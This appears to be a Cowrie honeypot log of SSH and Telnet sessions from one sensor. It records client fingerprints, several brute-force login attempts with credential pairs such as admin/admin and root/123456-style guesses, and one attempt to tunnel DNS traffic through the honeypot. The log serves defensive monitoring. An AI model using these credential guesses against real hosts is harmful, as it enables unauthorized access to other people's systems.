{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12082,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a03ab5a9b6e","protocol":"ssh","message":"New connection: 87.251.64.176:12082 (10.17.0.5:22) [session: 7a03ab5a9b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.103532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.107931Z","src_ip":"87.251.64.176","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.200851Z","src_ip":"87.251.64.176","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.481483Z","src_ip":"87.251.64.176","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.576719Z","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.677427Z","src_ip":"87.251.64.176","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:06:51.908589Z","src_ip":"87.251.64.176","session":"7a03ab5a9b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41796,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc7867e711f","protocol":"telnet","message":"New connection: 128.199.8.54:41796 (159.203.135.109:23) [session: 3fc7867e711f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:51.621438Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":57398,"dst_ip":"10.17.0.5","dst_port":22,"session":"f881dccb8d30","protocol":"ssh","message":"New connection: 72.17.34.38:57398 (10.17.0.5:22) [session: f881dccb8d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:54.268257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:54.272429Z","src_ip":"72.17.34.38","session":"f881dccb8d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:54.307143Z","src_ip":"72.17.34.38","session":"f881dccb8d30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminserver2025","message":"login attempt [root/adminserver2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:54.479465Z","src_ip":"72.17.34.38","session":"f881dccb8d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:07:55.516792Z","src_ip":"72.17.34.38","session":"f881dccb8d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":55410,"dst_ip":"159.203.135.109","dst_port":22,"session":"22767618d730","protocol":"ssh","message":"New connection: 103.82.20.28:55410 (159.203.135.109:22) [session: 22767618d730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:11.303002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:11.309162Z","src_ip":"103.82.20.28","session":"22767618d730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:11.565804Z","src_ip":"103.82.20.28","session":"22767618d730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150579","message":"login attempt [root/150579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:12.339088Z","src_ip":"103.82.20.28","session":"22767618d730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:13.597762Z","src_ip":"103.82.20.28","session":"22767618d730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56530,"dst_ip":"159.203.135.109","dst_port":23,"session":"e938c75e5619","protocol":"telnet","message":"New connection: 128.199.8.54:56530 (159.203.135.109:23) [session: e938c75e5619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:15.922134Z"}
{"eventid":"cowrie.session.closed","duration":52.69460487365723,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:44.315929Z","src_ip":"128.199.8.54","session":"3fc7867e711f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48218,"dst_ip":"159.203.135.109","dst_port":23,"session":"df3f6ffc4c0c","protocol":"telnet","message":"New connection: 128.199.8.54:48218 (159.203.135.109:23) [session: df3f6ffc4c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:47.269347Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52600,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c2271ca3e9b","protocol":"telnet","message":"New connection: 128.199.8.54:52600 (159.203.135.109:23) [session: 6c2271ca3e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:08:55.350905Z"}
{"eventid":"cowrie.session.closed","duration":53.59112906455994,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:09.513160Z","src_ip":"128.199.8.54","session":"e938c75e5619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":36214,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea4bb4038c37","protocol":"telnet","message":"New connection: 102.37.220.188:36214 (159.203.135.109:23) [session: ea4bb4038c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:23.956784Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42740,"dst_ip":"159.203.135.109","dst_port":23,"session":"c791e53c25d5","protocol":"telnet","message":"New connection: 128.199.8.54:42740 (159.203.135.109:23) [session: c791e53c25d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:26.400643Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43946,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed3b4021b6fc","protocol":"ssh","message":"New connection: 103.149.28.157:43946 (10.17.0.5:22) [session: ed3b4021b6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:43.695625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:43.699307Z","src_ip":"103.149.28.157","session":"ed3b4021b6fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:43.962469Z","src_ip":"103.149.28.157","session":"ed3b4021b6fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07091983","message":"login attempt [root/07091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:44.751258Z","src_ip":"103.149.28.157","session":"ed3b4021b6fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:46.028423Z","src_ip":"103.149.28.157","session":"ed3b4021b6fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38666,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9b85469f17a","protocol":"ssh","message":"New connection: 72.17.34.38:38666 (10.17.0.5:22) [session: f9b85469f17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:55.081177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:55.084679Z","src_ip":"72.17.34.38","session":"f9b85469f17a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:55.119265Z","src_ip":"72.17.34.38","session":"f9b85469f17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alvaro","password":"123456","message":"login attempt [alvaro/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:55.291709Z","src_ip":"72.17.34.38","session":"f9b85469f17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.18865966796875,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:56.145349Z","src_ip":"102.37.220.188","session":"ea4bb4038c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:56.328654Z","src_ip":"72.17.34.38","session":"f9b85469f17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.41730976104736,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:09:56.768092Z","src_ip":"128.199.8.54","session":"6c2271ca3e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41392,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c8a0ccb1c2","protocol":"telnet","message":"New connection: 128.199.8.54:41392 (159.203.135.109:23) [session: e7c8a0ccb1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:09.417580Z"}
{"eventid":"cowrie.session.closed","duration":50.152647256851196,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:16.553210Z","src_ip":"128.199.8.54","session":"c791e53c25d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":25368,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec3c07489c8c","protocol":"ssh","message":"New connection: 45.148.10.152:25368 (159.203.135.109:22) [session: ec3c07489c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:16.837717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:16.842272Z","src_ip":"45.148.10.152","session":"ec3c07489c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:16.936660Z","src_ip":"45.148.10.152","session":"ec3c07489c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:17.348930Z","src_ip":"45.148.10.152","session":"ec3c07489c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":38820,"dst_ip":"159.203.135.109","dst_port":23,"session":"96cdaa664a00","protocol":"telnet","message":"New connection: 102.37.220.188:38820 (159.203.135.109:23) [session: 96cdaa664a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:35.006643Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42294,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c8eb6185caa","protocol":"telnet","message":"New connection: 172.81.62.90:42294 (159.203.135.109:23) [session: 6c8eb6185caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:38.336311Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce8e1f3377a","protocol":"telnet","message":"New connection: 172.81.62.90:42306 (159.203.135.109:23) [session: 1ce8e1f3377a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:40.352131Z"}
{"eventid":"cowrie.session.closed","duration":120.00182104110718,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:47.271035Z","src_ip":"128.199.8.54","session":"df3f6ffc4c0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.643129110336304,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:10:55.060579Z","src_ip":"128.199.8.54","session":"e7c8a0ccb1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.739170789718628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:06.745658Z","src_ip":"102.37.220.188","session":"96cdaa664a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55938,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff7a730d2c54","protocol":"telnet","message":"New connection: 172.81.62.90:55938 (159.203.135.109:23) [session: ff7a730d2c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:11:12.597616Z"}
